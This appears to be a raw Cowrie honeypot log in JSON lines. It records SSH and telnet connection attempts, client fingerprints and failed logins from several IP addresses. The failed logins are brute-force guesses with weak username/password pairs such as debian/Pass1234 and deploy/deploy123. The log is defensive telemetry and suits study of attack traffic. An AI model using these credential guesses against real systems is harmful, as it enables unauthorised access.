ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:28.473586Z","src_ip":"91.92.40.36","session":"3b194e420945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32978,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbabb8411fdb","protocol":"telnet","message":"New connection: 172.81.62.90:32978 (159.203.135.109:23) [session: dbabb8411fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:29.987136Z"}
{"eventid":"cowrie.login.failed","username":"qwer","password":"qwer","message":"login attempt [qwer/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:30.520093Z","src_ip":"91.92.40.36","session":"3b194e420945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:31.643841Z","src_ip":"91.92.40.36","session":"3b194e420945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59712,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c90e3236c46","protocol":"ssh","message":"New connection: 91.92.40.36:59712 (10.17.0.5:22) [session: 8c90e3236c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:37.402029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:37.816812Z","src_ip":"91.92.40.36","session":"8c90e3236c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:38.472077Z","src_ip":"91.92.40.36","session":"8c90e3236c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59742,"dst_ip":"10.17.0.5","dst_port":22,"session":"63e6d59bc29e","protocol":"ssh","message":"New connection: 91.92.40.36:59742 (10.17.0.5:22) [session: 63e6d59bc29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:42.747271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:43.652321Z","src_ip":"91.92.40.36","session":"63e6d59bc29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:43.655643Z","src_ip":"91.92.40.36","session":"63e6d59bc29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Pass1234","message":"login attempt [debian/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:43.699686Z","src_ip":"91.92.40.36","session":"8c90e3236c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.69163107872009,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:45.491714Z","src_ip":"172.81.62.90","session":"b02aaa7e4196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:47.194111Z","src_ip":"91.92.40.36","session":"8c90e3236c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:48.535805Z","src_ip":"91.92.40.36","session":"63e6d59bc29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:50.728933Z","src_ip":"91.92.40.36","session":"63e6d59bc29e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16676,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4c0c50fc6ed","protocol":"ssh","message":"New connection: 91.92.40.36:16676 (10.17.0.5:22) [session: b4c0c50fc6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:53.044181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:53.360360Z","src_ip":"91.92.40.36","session":"b4c0c50fc6ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:54.250914Z","src_ip":"91.92.40.36","session":"b4c0c50fc6ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":36560,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe99c09891f7","protocol":"ssh","message":"New connection: 101.36.122.139:36560 (10.17.0.5:22) [session: fe99c09891f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:57.598254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:57.604925Z","src_ip":"101.36.122.139","session":"fe99c09891f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:57.823172Z","src_ip":"101.36.122.139","session":"fe99c09891f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47262,"dst_ip":"10.17.0.5","dst_port":22,"session":"475e1a976fa5","protocol":"ssh","message":"New connection: 91.92.40.36:47262 (10.17.0.5:22) [session: 475e1a976fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:58.431968Z"}
{"eventid":"cowrie.login.failed","username":"jhlee","password":"1234","message":"login attempt [jhlee/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:58.727305Z","src_ip":"101.36.122.139","session":"fe99c09891f7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:59.316920Z","src_ip":"91.92.40.36","session":"475e1a976fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:59.320139Z","src_ip":"91.92.40.36","session":"475e1a976fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:45:59.947389Z","src_ip":"101.36.122.139","session":"fe99c09891f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:00.091852Z","src_ip":"91.92.40.36","session":"b4c0c50fc6ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"piyush","password":"piyush@123","message":"login attempt [piyush/piyush@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:03.108114Z","src_ip":"91.92.40.36","session":"475e1a976fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:03.200522Z","src_ip":"91.92.40.36","session":"b4c0c50fc6ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:04.594254Z","src_ip":"91.92.40.36","session":"475e1a976fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12674,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbd91a84be9a","protocol":"ssh","message":"New connection: 91.92.40.36:12674 (10.17.0.5:22) [session: cbd91a84be9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:07.625376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:07.787313Z","src_ip":"91.92.40.36","session":"cbd91a84be9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:07.793445Z","src_ip":"91.92.40.36","session":"cbd91a84be9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.41255211830139,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:08.399558Z","src_ip":"172.81.62.90","session":"dbabb8411fdb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"george","password":"george","message":"login attempt [george/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:09.217329Z","src_ip":"91.92.40.36","session":"cbd91a84be9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:10.729964Z","src_ip":"91.92.40.36","session":"cbd91a84be9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12746,"dst_ip":"10.17.0.5","dst_port":22,"session":"473f0189358b","protocol":"ssh","message":"New connection: 91.92.40.36:12746 (10.17.0.5:22) [session: 473f0189358b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:14.970713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:15.210794Z","src_ip":"91.92.40.36","session":"473f0189358b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:15.214280Z","src_ip":"91.92.40.36","session":"473f0189358b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:17.415196Z","src_ip":"91.92.40.36","session":"473f0189358b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:19.180475Z","src_ip":"91.92.40.36","session":"473f0189358b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e981a46b5a","protocol":"telnet","message":"New connection: 128.199.8.54:33220 (159.203.135.109:23) [session: d3e981a46b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:19.629494Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40192,"dst_ip":"159.203.135.109","dst_port":23,"session":"d38c68722c1f","protocol":"telnet","message":"New connection: 128.199.8.54:40192 (159.203.135.109:23) [session: d38c68722c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:19.783635Z"}
{"eventid":"cowrie.session.closed","duration":0.07801151275634766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:19.861507Z","src_ip":"128.199.8.54","session":"d38c68722c1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14728,"dst_ip":"10.17.0.5","dst_port":22,"session":"3028f86cb387","protocol":"ssh","message":"New connection: 91.92.40.36:14728 (10.17.0.5:22) [session: 3028f86cb387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:24.063387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:46:24.437626Z","src_ip":"91.92.40.36","session":"3028f86cb387","protocol":"ssh"}
